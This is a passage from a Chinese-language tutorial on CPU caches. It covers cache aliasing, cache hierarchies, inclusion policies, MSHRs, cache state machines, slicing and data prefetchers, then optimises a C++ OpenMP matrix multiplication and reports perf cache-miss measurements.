| 0 | 1 | 0x1234 | Byte 0 | ... | Byte 63 |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
...
再试着写入0x20003000则会发生如下情况：
- 缓存组192被选中。
- 转换物理Tag到
0x4000。
- 转换物理Tag到
- 命中缓存行第192组第0路。
这两个虚拟地址即使不同但在物理Tag的帮助下成功找到了正确的路命中，解决了别名位相同情况下的缓存别名问题！
如果别名位不同，同一个物理地址会被映射到不同的 Set。如果不加干预，Cache 中会出现两份同样数据的副本（且可能内容不同步）。
示例场景：
- 物理地址 (PA):
0x10000000 - 虚拟地址 A:
0x10002000(别名位:0b10-> Set 128) - 虚拟地址 B:
0x20003000(别名位:0b11-> Set 192)
一开始的状态是：
+-------+-------+-----------------------+-----------------------------------------------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (18 bits) | (64 Bytes) |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
|Set 128| Way 0 | | Offset: 0x00 | ... | Offset: 0x3F |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
| 0 | 1 | 0x4000 | Byte 0 | ... | Byte 63 |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
|Set 128| Way 1 | | Offset: 0x00 | ... | Offset: 0x3F |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
| 0 | 1 | 0x1234 | Byte 0 | ... | Byte 63 |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
...
+-------+-------+-----------------------+-----------------------------------------------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (18 bits) | (64 Bytes) |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
|Set 192| Way 0 | | Offset: 0x00 | ... | Offset: 0x3F |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
| 0 | 0 | 0x0000 | Byte 0 | ... | Byte 63 |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
|Set 192| Way 1 | | Offset: 0x00 | ... | Offset: 0x3F |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
| 0 | 1 | 0x4321 | Byte 0 | ... | Byte 63 |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
...
不难看出这是存储了虚拟地址 0x10002000 的情况（Index=128）。现在我们试图存储 0x20003000 制造别名：
- 缓存组 192 被选中。
- 物理 Tag 转换为
0x4000。
- 物理 Tag 转换为
- 未命中缓存行第 192 组第 0 路。
- 进行写分配。
显然如果不做处理，CPU 会从内存读取数据填入 Set 192。此时 Set 128 和 Set 192 同时拥有该物理页的数据，造成严重错误。
+-------+-------+-----------------------+-----------------------------------------------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (18 bits) | (64 Bytes) |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
|Set 128| Way 0 | | Offset: 0x00 | ... | Offset: 0x3F |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
| 0 | 1 | 0x4000 | Byte 0 | ... | Byte 63 |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
|Set 128| Way 1 | | Offset: 0x00 | ... | Offset: 0x3F |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
| 0 | 1 | 0x1234 | Byte 0 | ... | Byte 63 |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
...
+-------+-------+-----------------------+-----------------------------------------------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (18 bits) | (64 Bytes) |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
|Set 192| Way 0 | | Offset: 0x00 | ... | Offset: 0x3F |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
| 1 | 1 | 0x4000 | Byte 0 | ... | Byte 63 |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
|Set 192| Way 1 | | Offset: 0x00 | ... | Offset: 0x3F |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
| 0 | 1 | 0x4321 | Byte 0 | ... | Byte 63 |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
...
现在存在别名了，但接下来是关键（任何读/写分配都要执行如下操作检查别名）：
- 缓存向下一级存储查询对 PT 0x4000 的别名位记录。
- 缓存从下一级存储得到的结果是 0b10。
- 缓存根据 0b10 别名位拼接 VI 低 6 位
0b000000计算得到的 Index = 128。
- 缓存根据 0b10 别名位拼接 VI 低 6 位
- 缓存发现第 128 组第 0 路命中，故 Flush 此缓存行。
- 缓存通知下一级存储，将 PT 0x4000 的别名位记录改为 0b11。
可以发现这可以很好的在读/写分配的时候解决缓存别名问题，但是在读分配和写分配的时候带来了一点额外开销。
或者你可以直接在读/写分配时读四个组（因为在这个例子中别名位只有四位）以检查缓存别名问题。不管怎么说都是在读/写分配的时候带来了不小的开销。
8.4 虚拟地址总结
为什么没有PIVT缓存呢？（点击查看答案）
结合了PIPT和VIVT缺点的东西真的会有人做吗？
9. 硬件工程中的CPU高速缓存
软件工程师看到的缓存也许只是一个延迟，或者性能计数器里的数字，但在硬件工程师眼里，缓存是由无数个 SRAM 单元、复杂的选通逻辑和极其苛刻的时序约束构成的物理实体。在这一章，我们将深入硅片内部，看看硬件是如何实现这些魔法的。
9.1 缓存层级
这一节我们会聚焦不同的已经上市的经典CPU并观察他们的缓存层级。
先看Intel的经典架构Skylake的微架构图（来自wikichip）
.svg)
在这里我们只关注缓存部分。不难发现缓存被分为了三个层级，分别是L1数据或L1指令缓存，L2缓存，L3缓存。缓存分级的思想很好理解，毕竟SRAM太大了可能会拖慢时序，分级可以很好的让不同量的数据拥有最好的访存时序，但为什么L1缓存要分为指令和数据两部分呢？
解决结构性冒险（Structural Hazard）：
现代高性能 CPU 都是超标量流水线设计。在同一个时钟周期内，CPU 的前端（Front-end）需要读取指令（Fetch），而后端（Back-end）的执行单元可能需要读取或写入数据（Load/Store）。如果 L1 是统一的，那么指令预取单元和加载存储单元就会争夺同一个缓存端口。
虽然可以通过增加端口（Dual-port SRAM）来解决，但这会显著增加 SRAM 单元的面积和功耗（6T 变 8T 甚至更多），并恶化访问延迟。将 L1 拆分，相当于在物理上提供了两个独立的访问端口，彻底消除了这种资源冲突。迥异的访问模式：
- 指令流通常具有极强的空间局部性（顺序执行）和可预测性（甚至跳转也可以部分预测），且不仅是只读的，还需要极高的吞吐量供给解码器。I-Cache 硬件通常会配合专门的分支预测器和预取逻辑进行优化。
- 数据流则充满了随机读写，需要处理复杂的缓存一致性协议（MESI/MOESI），且对写入策略（Write-back vs Write-through）敏感。虽然数据流读写也可以预测并预取（这会在接下来谈到），但这相比于指令流基于跳转指令的预测会更不准确。
相比之下，L2 和 L3 缓存通常是统一的（Unified），因为它们距离流水线核心较远，不再受限于单周期内的“取指+访存”并发压力，此时追求更高的容量利用率（代码少时多存数据，数据少时多存代码）更为重要。
不过非统一的 L1 缓存架构也会带来新的问题。想象一下自修改代码（通常常见于JIT优化），如果一段代码要修改自己那要如何在L1D Cache和L1I Cache同步呢？这取决于指令集架构，一般来说有两种解决方案：
- L1D Cache的写如指令会被广播到L1I Cache并使之失效（x86等），这种架构处理自修改代码很简单，只要用指令刷一下流水线就行了。
- 利用缓存失效指令或者专用指令让数据同步（arm riscv等），这种架构处理自修改代码会复杂很多，要么失效全部指令缓存忍受性能暂时下降，要么难以计算到底要失效哪个缓存。
我们再看看别的CPU的情况（高通骁龙X Elite官方ppt）：
可见12个CPU核心被分为了三个簇，每个簇共享一个L2缓存。这样的分级有好有坏。好消息是如果四个核心一个簇，那么如果只需要在这四个核心内同步数据就不用像Intel x86在大小核异构架构之前那样让缓存一致性协议跑完整个总线了，只需要在簇内广播就行了。但坏处是非SMP架构给调度带来了不小困难（参考Intel 引入大小核初期的糟糕调度，也是四个小核心共享一个L2缓存）。
当然，名字也不一定就叫L1 L2 L3，比如Intel Arrow Lake架构的P Core（图片来自Intel的ppt）：
可以看出缓存层级是L0 L1 L2 L3共四级缓存。
不过一般来说还会有一个层级的缓存（在SoC很常见）。简单来说SoC不仅仅有CPU也可能有GPU和NPU这时候这三位共享缓存不就成了一个问题，一般来说会在内存访问前统一再加一个层级的缓存，又或者是L3缓存充当这一层级缓存（高通PPT的SLC，也就是System level cache就是这一个层级的）。
除此以外这里再介绍一种不属于这些层级的技术，也就是 受害者缓存（Victim Cache） 这个技术由Norman Jouppi在1990年提出（原始论文）。这种缓存一般会附属在别的缓存身上，而且是 全相联 缓存。至于为什么要有这种缓存答案很简单，容量大的缓存一般路数也不会太大（因为大量的比较器会占用空间），那被缓存替换策略替换出的缓存行怎么办？
如果就是要在一个组存储超过路数个数据怎么办？这个时候被替换掉的受害者缓存行（Victim）就会进入到这个特殊的全相联缓存里再活一会儿。
9.2 包含策略
上一节我们引入了缓存层级的概念，但这也引入了新的问题：数据应该只出现在一个层级还是多个层级？
有了层级，就必须考虑数据在不同层级间的关系，即 包含策略 (Inclusion Policy)：
- 全包含 (Inclusive): L3 必须包含 L1 和 L2 中的所有数据。
- 优点: 缓存一致性检查极快。如果 L3 里没有某个数据，那就不需要去问 L1/L2 了（Snoop Filter）。
- 缺点: 浪费容量。同一份热点数据在 L1, L2, L3 存了三份。
- 一个例子是ARM Cortex A55的L1指令缓存和L2缓存的关系（数据必须同时在L1I和L2）。
- 互斥 (Exclusive): 数据要么在 L1/L2，要么在 L3，绝不重复。L1/L2 逐出的数据才会写入 L3。
- 优点: 容量利用率最大化。L1+L2+L3 的总容量就是有效容量。
- 缺点: 一致性复杂。L3 没有数据不代表 L1/L2 没有，必须向全员广播嗅探。
- 互斥缓存的一个例子是AMD Opteron，它拥有每个核心512KB的L2缓存，与 L1 互斥（数据要么在L2要么在L1）。
- 非包含非互斥 (NINE - Non-Inclusive Non-Exclusive): 介于两者之间，不强制包含也不强制互斥。实现简单好用。这种策略的一个例子还是AMD Opteron，它拥有6MB的非包含非互斥 L3缓存（共享）不受到L2的影响
9.3 非阻塞缓存与 MSHR
在早期的简单设计中，一旦发生缓存未命中，CPU 流水线就会停顿（Stall），直到数据从内存取回。这被称为 阻塞式缓存 (Blocking Cache)。
但现代 CPU 是乱序执行的，指令 A 缓存未命中，指令 B 及其后的指令可能都在缓存里，为什么不能先执行 B 呢？这就需要 非阻塞缓存 (Non-blocking Cache)，或者是 命中下缺失 (Hit-under-Miss) 技术。
实现这一技术的关键硬件组件叫做 MSHR (Miss Status Handling Registers)。
当一个 Miss 发生时：
- 硬件分配一个 MSHR 寄存器，记录下这次未命中的地址、请求类型以及这是哪条指令请求的。
- 缓存控制器向下一级存储发起请求。
- CPU 不停顿，继续处理后续读写请求。
- 如果后续请求命中，正常服务。
- 如果后续请求是针对 同一个 未命中地址（例如两个指令都要读同一个 Miss 的行），则合并到同一个 MSHR 条目中（Miss Merging），不会发起重复的总线请求。
- 当数据返回，根据 MSHR 的记录，将数据填充缓存，并唤醒所有等待该数据的指令。
MSHR 的数量直接决定了 CPU 能拥有多少个并发的缓存未命中，也就是一个小的buffer。
9.4 缓存设计
9.4.1 缓存状态机
缓存需要在不同的工作模式（比如读取上游数据，写分配等等）切换，这些工作模式的转换构成了缓存状态机。这里介绍两个状态机，分别出自《CPU设计实战》（ISBN 978-7-111-67413-9）。以及笔者自己学习时设计的简单缓存
先看《CPU设计实战》中的缓存状态机：
主状态机分为非常明确的5个状态：
- IDLE：缓存模块当前没有任何操作。
- LOOKUP：缓存模块当前正在执行一个操作且得到了它的查询结果，此外这个模块还负责检查事务是否和写状态机冲突，若冲突则拒绝执行事务，如果是写事务会试着把事务写到写缓冲区。
- MISS：缓存模块当前处理的操作缓存缺失，且正在等待总线准备好写信号，以替换受害缓存行（如果总线未准备则自旋等待）。
- REPLACE：待替换的受害缓存行已经从缓存中读出，且正在等待总线准备读数据的信号（如果总线未准备则自旋等待）。
- REFILL：缓存缺失的访存请求已发出，准备/正在将缺失的缓存行数据写入缓存中（如果突发传输拍子没打完就自旋）。
我们再看看写状态机：
- IDLE：写缓冲区当前没有待写的数据。
- WRITE：将待写数据写入到缓存中。在主状态机处于LOOKUP状态且发现写操作命中缓存时，触发写缓冲区状态机进入WRITE状态，同时写缓冲区会寄存要写入的Index、路号、offset、写使能、写遮罩和写数据。
接下来我们看一个更复杂的状态机（增加了clean，invalidate之类的缓存管理操作），由于事务太多采用一个专门的事务类型寄存器存储事务类型，并在每一个相关状态根据事务类型路由对应的操作尽量增大电路的重复利用。
statIdle（空闲与仲裁态）
状态说明：无正在执行事务，负责接收新请求并决定进入哪一类处理流程。
- read 事务：接收读请求并锁存地址，进入 statRead 进行 tag 查询与命中判断。
- write 事务：接收写请求并锁存地址与写数据，进入 statRead 判断是否命中。
- clean 事务：接收 clean 请求，进入 statRead 判断目标行状态。
- invalidateAll 事务：初始化遍历指针，进入 statInvalidateAll 执行全缓存失效。
- cleanAll 事务：初始化 set/way 指针，进入 statCleanAll 执行全缓存清理。
statRead（查表与决策态）
状态说明：完成 tag 查询、命中判断及替换决策，是读写 clean 的统一入口状态。
- read + hit：直接从 cache 取数并向上游发送读完成信号，随后返回空闲或流水态。
- read + miss + victim clean：选择替换行后直接进入 statReadReplace 执行 refill。
- read + miss + victim dirty：需要先写回被替换行，进入 statWriteBack。
- write + hit：确定命中行并锁存信息，进入 statWrite 修改 cache 数据。
- write + miss + victim clean：进入 statReadReplace 先 refill 再写入。
- write + miss + victim dirty：先进入 statWriteBack 写回后再进行 refill。
- clean + hit + dirty：目标行为脏，进入 statWriteBack 执行写回。
- clean + hit + clean：无需任何操作，直接返回 statIdle。
- clean + miss：cache 中无该行，直接结束事务并返回 statIdle。
statRead（读流水接收态）
状态说明：用于提高读带宽，在不破坏一致性的前提下提前接收后续读请求。
- read 事务：在条件允许时提前接收下一个读请求并继续流水处理。
- write 事务：仅在无读请求竞争时接收并进入下一轮 statRead。
- 无新事务：流水结束，状态返回 statIdle。
statWrite（缓存写入态）
状态说明：负责对 cache SRAM 的实际写操作并维护脏位。
- write 命中写：更新 cache 行数据并置脏，向上游发送写完成信号后返回 statIdle。
- write miss refill 后写：在 refill 数据到位后完成写入并置脏，向上游发送写完成信号。
statReadReplace（缺失填充态）
状态说明：通过总线从下级存储读取整行数据并填充 cache。
- read 事务：等待 refill 数据返回，写入 cache 后向上游发送读完成信号。
- write 事务：等待 refill 数据返回，写入 cache 后转入 statWrite 执行写操作。
statWriteBack（写回态）
状态说明：将被替换或需清理的脏 cache 行写回下级存储。
- clean 事务：写回完成后结束事务并返回 statIdle。
- read/write 事务：写回完成后进入 statReadReplace 继续处理缺失访问。
- cleanAll 事务：写回完成后返回 statCleanAll 继续遍历其他行。
statInvalidateAll（全失效态）
状态说明：逐 set 清除 cache 有效位，实现整 cache 失效。
- invalidateAll 事务：依次将所有 cache 行标记为无效，完成后返回 statIdle。
statCleanAll（全清理遍历态）
状态说明：遍历整个 cache，对所有脏行执行写回以保证内存一致性。
- cleanAll + 脏行：发现脏行则进入 statWriteBack 执行写回。
- cleanAll + 干净行：无需写回，推进遍历指针继续扫描。
- cleanAll 完成：所有行处理结束，向上游发送 clean 完成信号并返回 statIdle。
9.4.2 缓存切分
在上一节，我们介绍了缓存状态机的实现方式，并指出其本质是串行处理：每个缓存状态机一次只能服务一个事务（如一次读写、一次替换、一次写回等）。这在小容量缓存、低并发场景下已经足够，但随着现代 CPU 规模的提升，单颗处理器往往拥有数十甚至数百个硬件线程（core/hart），而每个核心的访存请求高度并发，单一缓存状态机很快就会成为瓶颈。
解决方案：缓存切分（Cache Slicing）
通过将一个大容量缓存物理上切分为多个独立的小缓存块（Slice或bank），每个 Slice 拥有自己的状态机、SRAM阵列、端口和替换逻辑。这样可以让多个 Slice 并行处理不同的事务，大幅提升整体缓存带宽和并发度。
下图是AMD zen架构的L3缓存切分（Slice或Bank）示意图（来自wikichip）：
但这引入了新的问题，我们如何确定一个事务要交给哪个Slice处理呢？一般来说有如下两种方法：
- 按组（Set）切分：每个 Slice 负责一部分组（Set）。地址的 Index 位决定数据落在哪个 Slice。这样就可以按组并行了。
- 按路（Way）切分：每个 Slice 负责一部分路（Way）。地址的 Tag 决定数据落在哪个 Slice。这样就可以按路并行了，一般来说可以只 Slice 数据存储部分，索引查询部分不 Slice (不然你就得预测Tag在哪一路可能匹配了)，设计难度较高。
9.5 数据缓存预取
我们能在未命中之前就提前猜测到会产生未命中，并提前完成缓存行分配，岂不美哉。大部分CPU也确实提供相关指令让软件自己预判要用什么，可是软件开发者可能没那么多心思自己处理这些问题所以一个高效的硬件预测器也是有必要的。这一节聚焦于数据缓存，至于指令缓存会涉及到分支预测器太复杂了在此不做赘述。
注意，错误的预取往往比不预取更糟糕 因为这会污染缓存行或缓冲区并占用总线带宽。再一个要点是如果想要支持预取则需要缓存拥有非阻塞的特征，也就是CPU在缓存预取的时候可以干别的事情。
目前来说数据预取器要处理三种常见的情况：
- 连续地址预取；这是最简单也最常见的预取场景。很多空间局部性好的程序（如数组遍历）会顺序访问一系列连续的内存地址。
- 稀疏均匀预取：有些程序会以固定步长访问内存，这时，访问的地址不是完全连续的，而是以固定间隔（stride）跳跃。这在2025年不说是很常见吧也可以说是见怪不怪了，那堆玩张量（AI）的起手可能就好几个维度了。
- 非连续非均匀预取：最复杂的情况出现在数据访问模式不规律时，比如链表、树等数据结构。
我们看一个可能的访存序列（专治喜欢玩张量）
for i in range(N):
for j in range(N):
reg_a = load(a[N * i + j])
reg_b = load(b[i + N * j])
不难发现全局的访存差分（步长）极难找到规律，但是如果我们利用好程序计数器（PC）的信息，限定在一个局部就能发现很明显的固定步长。除此以外在全局我们还能找到一些别的规律，比如如果一个地址addr在访存历史里，那么有50%的频率addr-1也在访存历史里（另外50%是addr-K）,这被称作偏移量信息。
基于访存空间规律的分析方式，可以分为基于步长和基于偏移量的两大算法流派。
9.5.1 流缓冲区
这是最简单的预测机制用于预测全局步长为1的情况，这种方案由 Norman Jouppi 在1990年提出（原始论文）。
这种算法的想法简单直接，创建一个缓冲区，缓冲区的每一项由标签（地址高位），有效位以及一条缓存行组成。发生一次未命中时就开始流式预取接下来一行缓存行的数据，预取成功后写入缓冲区然后置位有效位。
事实上这种想法对于顺序执行的指令序列来说确实很管用，但对于数据读取不见得有多管用，而且往往出现过于乐观地预测盲目占用总线带宽的情况。
9.5.2 局部步长预测
Tien-Fu Chen 在1995年优化了流缓冲区算法，真正做到了对局部任意步长进行预测（原始论文）。
论文用了一个被称为 引用预测表（Reference Pred Table） 的核心结构，以上面的访存序列为例子RPT可能长这样：
如果CPU再执行一次第一个load，情况会变成这样：
然后鉴于对第一个load的状态机已经处于稳定态，当指令下一次将要执行到这个地方的时候（不管你是从分支预测器还是什么的地方，获取到将要执行到第一个load）我们就可以提前预取了。
9.5.3 局部偏移量预测
考虑一个在游戏开发或科学计算中常见的场景：更新大量粒子的位置。
struct Particle {
float x, y, z; // 0-12 bytes (我们只想更新 x 和 y)
float r, g, b, a; // 12-28 bytes
float velocity[3]; // 28-40 bytes
uint32_t id; // 40-44 bytes
// Total size = 44 bytes
};
如果程序遍历数组只更新 x 和 z，访存序列的地址差分（Delta）将会是：+4 (x到z), +40 (z到下一个x), +4, +40… 这种交替变化的步长会让基于固定步长（Stride）的预测器（如9.5.2节所述）陷入“状态机震荡”，导致无法预测。
然而，如果我们跳出“上一次访问”的局限，着眼于更广的时间窗口，会发现一个有趣的规律：虽然相邻访问的步长在变，但 &arr[i].x 和 &arr[i+1].x 之间总是相差 44 字节。如果我们能发现 “当前访问地址 - 44” 在不久前被访问过，那么 44 就是一个极佳的预取偏移量。
Pierre Michaud 在 2016 年提出的 Best-Offset (BO) Prefetching （原始论文）正是基于这一思想。
BO 预测器引入了两个关键结构：
- 最近请求表 (Recent Requests Table, RR Table)：这是一个哈希表，用于记录最近完成的访存请求地址。它的存在不仅仅是为了记录历史，更是为了验证“时效性”。
- 偏移量分数表 (Score Table)：维护一组候选偏移量（如 1, 2, 4, …, 44, …）的得分。
BO 预测器的学习部分就像下面这样：
算法通过 学习阶段 (Learning Phase) 来寻找最佳偏移量。在每次发生 L2 缓存访问时，硬件会轮询测试候选列表中的一个偏移量 $d$。
假设我们有一组候选偏移量，当前轮询指针指向偏移量 2。
步骤 1：测试偏移量 2
CPU 读取地址 &arr + 92。算法尝试验证：如果我们在访问 &arr + 92 - 2 (即 &arr + 90) 的时候就发起了对 &arr + 92 且偏移量为2的预取，现在能命中吗？
它查找 RR 表，发现 &arr + 90 不在表中（或者太久远已被逐出，或者还没发生）。这意味着偏移量 2 无效，不加分。
步骤 2：测试偏移量 3
CPU 继续执行，读取 &arr + 132。轮询指针移动，测试偏移量 3。
计算 &arr + 132 - 3 = &arr + 129。查表发现 RR 表中没有 &arr + 129 的记录。偏移量 3 无效，不加分。
步骤 3：测试偏移量 4
CPU 读取 &arr + 136。轮询指针移动，测试偏移量 4。
计算 &arr + 136 - 4 = &arr + 132。查表发现 &arr + 132 赫然在列！
这说明：不久前 CPU 刚刚访问过 &arr + 132。如果当时我们有一个偏移量为 4 的预取器，在访问 &arr + 132 时预取 &arr + 132 + 4，那么当前对 &arr + 136 的访问就能命中缓存。
于是，偏移量 4 的分数 +1。
注：在此例中，若粒子结构体对齐不同，偏移量4可能对应结构体内部成员的跨度，在此假设结构体是紧密对齐的
步骤 4：确立最佳偏移量
随着学习不断进行，真正符合数据结构特征的偏移量（例如本例中的结构体大小 44，或者跨行访问的步长）会积累最高的分数。
当某个偏移量的分数达到上限（SCOREMAX），或者学习轮数结束，硬件就会锁定得分最高的偏移量 $D_{best}$，进入 预取阶段。此时，每当 CPU 访问地址 $X$，预取器就会自动抓取 $X + D_{best}$。
另外如果一轮学习下来，即使是最高分的偏移量得分也很低（低于 BADSCORE 阈值），说明内存访问完全无规律。此时 CPU 会自动关闭预取功能，防止错误的预取浪费带宽并驱逐有用的缓存行。
顺便关于偏移量表的构建也有一些门道。硬件不可能测试所有整数偏移量。论文建议预设一个包含约 50 个值的列表，主要包含 1-256 范围内由小质数（2, 3, 5）构成的数（如 1, 2, 3, 4, 5, 6, 8, 9…）。这覆盖了绝大多数常见数据结构的大小和对齐方式。
10. 软件工程中的CPU高速缓存
10.1 缓存优化
这一节将会聚焦于优化高速缓存，从最简单的矩阵乘法（GEMM）实现开始一步步优化缓存性能。
先看一个基础的多线程矩阵乘法实现：
#include <iostream>
#include <vector>
#include <chrono>
#include <random>
#include <omp.h>
#include <print>
#include <format>
#include <sys/mman.h>
#define N 64
void gemm(const std::vector<std::vector<float>>& mat_a,
const std::vector<std::vector<float>>& mat_b,
std::vector<std::vector<float>>& mat_c) {
size_t n = mat_a.size();
#pragma omp parallel for
for (size_t i = 0; i < n; ++i) {
for (size_t j = 0; j < n; ++j) {
mat_c[i][j] = 0.0f;
}
}
#pragma omp parallel for
for (size_t i = 0; i < n; ++i) {
for (size_t j = 0; j < n; ++j) {
for (size_t k = 0; k < n; ++k) {
mat_c[i][j] += mat_a[i][k] * mat_b[k][j];
}
}
}
}
void init_matrix(std::vector<std::vector<float>>& mat, int n) {
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_real_distribution<float> dis(0.0f, 1.0f);
mat.resize(n, std::vector<float>(n));
for (int i = 0; i < n; ++i) {
for (int j = 0; j < n; ++j) {
mat[i][j] = dis(gen);
}
}
}
int main() {
size_t mat_size;
std::print("Mat size:");
std::cin >> mat_size;
std::println("Initializing matrices of size {}x{}...", mat_size, mat_size);
std::vector<std::vector<float>> A, B, C;
init_matrix(A, mat_size);
init_matrix(B, mat_size);
C.resize(mat_size, std::vector<float>(mat_size));
double accum_time = 0.;
for(size_t i = 0; i < N; i++) {
init_matrix(A, mat_size);
init_matrix(B, mat_size);
auto start = std::chrono::high_resolution_clock::now();
gemm(A, B, C);
auto end = std::chrono::high_resolution_clock::now();
std::chrono::duration<double, std::milli> duration = end - start;
std::println("GEMM Completed.");
std::println("Time elapsed: {:.3f} ms", duration.count());
accum_time += duration.count();
}
std::println("Average elapsed: {:.3f} ms", accum_time / N);
return 0;
}
利用clang++ -std=c++23 -fopenmp -O3编译得到程序并运行（perf stat -e cache-references,cache-misses ./a.out）结果为：
Mat size:1024
Average elapsed: 681.718 ms
Performance counter stats for './a.out':
436,131,834,125 L1-dcache-loads
83,504,945,934 L1-dcache-load-misses # 19.15% of all L1-dcache accesses
59.165114073 seconds time elapsed
1309.115948000 seconds user
22.867352000 seconds sys
Mat size:2048
Average elapsed: 6299.692 ms
Performance counter stats for './a.out':
1,838,787,535,669 L1-dcache-loads
620,842,735,243 L1-dcache-load-misses # 33.76% of all L1-dcache accesses
448.842747412 seconds time elapsed
9479.390256000 seconds user
30.788330000 seconds sys
如果你和笔者一样拥有多个CPU（例如多路服务器）请将测试绑定在其中一个NUMA节点上（
numactl --cpunodebind=0 --membind=0 <command>就是一个不错的方法），否则，操作系统跨节点的内存调度可能会导致实验结果波动，无法复现。
如果报错无法跟踪某些CPU性能寄存器可以试着调整一下系统设置（
sudo sysctl -w kernel.perf_event_paranoid=0）。另外记得查看一下默认值（cat /proc/sys/kernel/perf_event_paranoid）方便改回来
回顾 空间局部性（Spatial Locality） 原理：如果一个存储位置被引用，那么它附近的位置也很可能被引用。
上述代码中使用的 std::vector<std::vector<float>> 结构在内存布局上是非常糟糕的。外层 vector 存储的是指向内层 vector 的指针（或控制块），而内层 vector 的数据是在堆上动态分配的。这意味着每一行数据在物理内存中很可能是不连续的。
我们尝试进行优化：用一维数组模拟二维矩阵，确保所有数据在内存中连续分布。
#include <iostream>
#include <vector>
#include <chrono>
#include <random>
#include <omp.h>
#include <print>
#include <format>
#include <sys/mman.h>
#define N 64
void use_huge_pages(std::vector<float>& vec) {
void* ptr = vec.data();
size_t size = vec.capacity() * sizeof(float);
madvise(ptr, size, MADV_HUGEPAGE);
}
void gemm(const float* mat_a, const float* mat_b, float* mat_c, int n) {
#pragma omp parallel for
for (size_t i = 0; i < n; ++i) {
for (size_t j = 0; j < n; ++j) {
mat_c[n * i + j] = 0.0f;
}
}
#pragma omp parallel for
for (size_t i = 0; i < n; ++i) {
for (size_t j = 0; j < n; ++j) {
for (size_t k = 0; k < n; ++k) {
mat_c[n * i + j] += mat_a[n * i + k] * mat_b[n * k + j];
}
}
}
}
void init_matrix(float* mat, int n) {
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_real_distribution<float> dis(0.0f, 1.0f);
for (int i = 0; i < n; ++i) {
for (int j = 0; j < n; ++j) {
mat[n * i + j] = dis(gen);
}
}
}
int main() {
size_t mat_size;
std::print("Mat size:");
std::cin >> mat_size;
std::println("Initializing matrices of size {}x{}...", mat_size, mat_size);
std::vector<float> A(mat_size * mat_size);
std::vector<float> B(mat_size * mat_size);
std::vector<float> C(mat_size * mat_size);
use_huge_pages(A);
use_huge_pages(B);
use_huge_pages(C);
std::println("Mat A addr low 16 bits: {:#x}",
0xFFFF & reinterpret_cast<uintptr_t>(A.data()));
std::println("Mat B addr low 16 bits: {:#x}",
0xFFFF & reinterpret_cast<uintptr_t>(B.data()));
std::println("Mat C addr low 16 bits: {:#x}",
0xFFFF & reinterpret_cast<uintptr_t>(C.data()));
double accum_time = 0.;
for(size_t i = 0; i < N; i++) {
init_matrix(A.data(), mat_size);
init_matrix(B.data(), mat_size);
auto start = std::chrono::high_resolution_clock::now();
gemm(A.data(), B.data(), C.data(), mat_size);
auto end = std::chrono::high_resolution_clock::now();
std::chrono::duration<double, std::milli> duration = end - start;
std::println("GEMM Completed.");
std::println("Time elapsed: {:.3f} ms", duration.count());
accum_time += duration.count();
}
std::println("Average elapsed: {:.3f} ms", accum_time / N);
return 0;
}
结果是：
Mat size:1024
Average elapsed: 209.782 ms
Performance counter stats for './a.out':
395,527,039,747 L1-dcache-loads
56,859,714,587 L1-dcache-load-misses # 14.38% of all L1-dcache accesses
27.573612407 seconds time elapsed
585.193649000 seconds user
22.523142000 seconds sys
Mat size:2048
Average elapsed: 1721.207 ms
Performance counter stats for './a.out':
1,347,677,054,270 L1-dcache-loads
559,023,995,434 L1-dcache-load-misses # 41.48% of all L1-dcache accesses
155.193704836 seconds time elapsed
2876.246098000 seconds user
23.400534000 seconds sys
我们先看一个很好进行的优化，这个优化与缓存一致性有关。关注矩阵乘法的核心代码mat_c[i][j] += mat_a[i][k] * mat_b[k][j]。虽然我们利用openmp并行了最外层的循环所以每个核心的i都不一样，但在访问最后几个j的数据时难免会和别的核心争抢同一个缓存行。
回顾一下MESI协议，这会导致缓存行状态会一直在I<->M之间震荡，一旦被别的核心抢到那就又是一次缓存未命中。这种虽然各个核心写入的数据不重叠，但因为缓存行重叠导致的性能下降被称为 伪共享。
假设有1024*1024的方阵并且数据的开头刚好是某个缓存行（64字节缓存行）的开头（数据是缓存行对齐的）。这种情况下会发生伪共享吗？（点击查看答案）
不会。每个CPU都会分配到矩阵的一行 1024 * 4 = 4096 字节，这些刚好可以占据 4096 / 64 = 64 个缓存行，所以如果是缓存行对齐的情况下就不会发生伪共享问题。
可惜的是，经过观察vector的默认分配器只对齐了16字节而非测试CPU的缓存行大小64字节所以发生了伪共享问题。
解决方法也很简单，我们可以尽量降低对伪共享区域的写入量。
//...
void gemm(const float* mat_a, const float* mat_b, float* mat_c, int n) {
#pragma omp parallel for
for (size_t i = 0; i < n; ++i) {
for (size_t j = 0; j < n; ++j) {
float sum = 0.0f;
for (size_t k = 0; k < n; ++k) {
sum += mat_a[n * i + k] * mat_b[n * k + j];
}
mat_c[n * i + j] = sum;
}
}
}
//...
结果是：
Mat size:1024
Average elapsed: 192.558 ms
Performance counter stats for './a.out':
381,581,010,680 L1-dcache-loads
48,429,954,420 L1-dcache-load-misses # 12.69% of all L1-dcache accesses
26.767748714 seconds time elapsed
513.739679000 seconds user
22.685741000 seconds sys
Mat size:2048
Average elapsed: 1616.914 ms
Performance counter stats for './a.out':
